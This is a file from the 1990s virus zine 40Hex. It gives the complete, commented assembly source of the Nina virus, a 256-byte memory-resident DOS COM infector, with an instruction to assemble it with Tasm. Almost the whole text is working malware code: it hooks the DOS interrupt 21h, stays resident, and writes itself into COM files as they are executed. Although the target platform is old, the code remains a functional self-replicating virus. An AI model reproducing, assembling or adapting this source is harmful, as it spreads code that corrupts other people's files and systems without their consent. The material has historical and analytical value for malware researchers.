Copy Link
Add to Bookmark
Report
40Hex Issue 09 File 006
40Hex Number 9 Volume 2 Issue 5 File 006
Below is the Nina virus. It's a 256 byte generic COM infector supposedly
originating in Bulgaria. Although some minor portions are not as highly
optimised as they could be, the code is well-written. Items of note include
the infection method, which is somewhat reminiscent of Jerusalem, the
installation check handler in int 21h, and the residency routine. As always,
use Tasm to assemble.
Dark Angel
.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
push ax
mov ax,9753h ; installation check
int 21h
mov ax,ds
dec ax
mov ds,ax ; ds->program MCB
mov ax,ds:[3] ; get size word
push bx
push es
sub ax,40h ; reserve 40h paragraphs
mov bx,ax
mov ah,4Ah ; Shrink memory allocation
int 21h
mov ah,48h ; Allocate 3Fh paragraphs
mov bx,3Fh ; for the virus
int 21h
mov es,ax ; copy virus to high
xor di,di ; memory
mov si,offset start + 10h ; start at MCB:110h
mov cx,100h ; (same as PSP:100h)
rep movsb
sub ax,10h ; adjust offset as if it
push ax ; originated at 100h
mov ax,offset highentry
push ax
retf
endfile dw 100h ; size of infected COM file
highentry:
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
; memory isn't freed when the
; program terminates
mov ax,3521h ; get int 21h vector
int 21h
mov word ptr cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push es
pop ds
mov dx,bx
mov ax,2591h ; redirect int 91h to int 21h
int 21h
push cs
pop ds
mov dx,offset int21
mov al,21h ; set int 21h to virus vector
int 21h
pop ds ; ds->original program PSP
pop bx
push ds
pop es
return_COM:
mov di,100h ; restore original
mov si,endfile ; file
add si,di ; adjust for COM starting
mov cx,100h ; offset
rep movsb
pop ax
push ds ; jmp back to original
mov bp,100h ; file (PSP:100)
push bp
retf
exit_install:
pop ax ; pop CS:IP and flags in
pop ax ; order to balance the
pop ax ; stack and then exit the
jmp short return_COM ; infected COM file
int21:
cmp ax,9753h ; installation check?
je exit_install
cmp ax,4B00h ; execute?
jne exitint21 ; nope, quit
push ax ; save registers
push bx
push cx
push dx
push ds
call infect
pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah ; jmp far ptr
oldint21 dd ?
infect:
mov ax,3D02h ; open file read/write
int 91h
jc exit_infect
mov bx,ax
mov cx,100h
push cs
pop ds
mov ah,3Fh ; Read first 100h bytes
mov dx,offset endvirus
int 91h
mov ax,word ptr endvirus
cmp ax,'MZ' ; exit if EXE
je close_exit_infect
cmp ax,'ZM' ; exit if EXE
je close_exit_infect
cmp word ptr endvirus+2,9753h ; exit if already
je close_exit_infect ; infected
mov al,2 ; go to end of file
call move_file_pointer
cmp ax,0FEB0h ; exit if too large
ja close_exit_infect
cmp ax,1F4h ; or too small for
jb close_exit_infect ; infection
mov endfile,ax ; save file size
call write
mov al,0 ; go to start of file
call move_file_pointer
mov dx,100h ; write virus
call write
close_exit_infect:
mov ah,3Eh ; Close file
int 91h
exit_infect:
retn
move_file_pointer:
push dx
xor cx,cx
xor dx,dx
mov ah,42h
int 91h
pop dx
retn
write:
mov ah,40h
mov cx,100h
int 91h
retn
db ' Nina '
endvirus:
int 20h ; original COM file
end start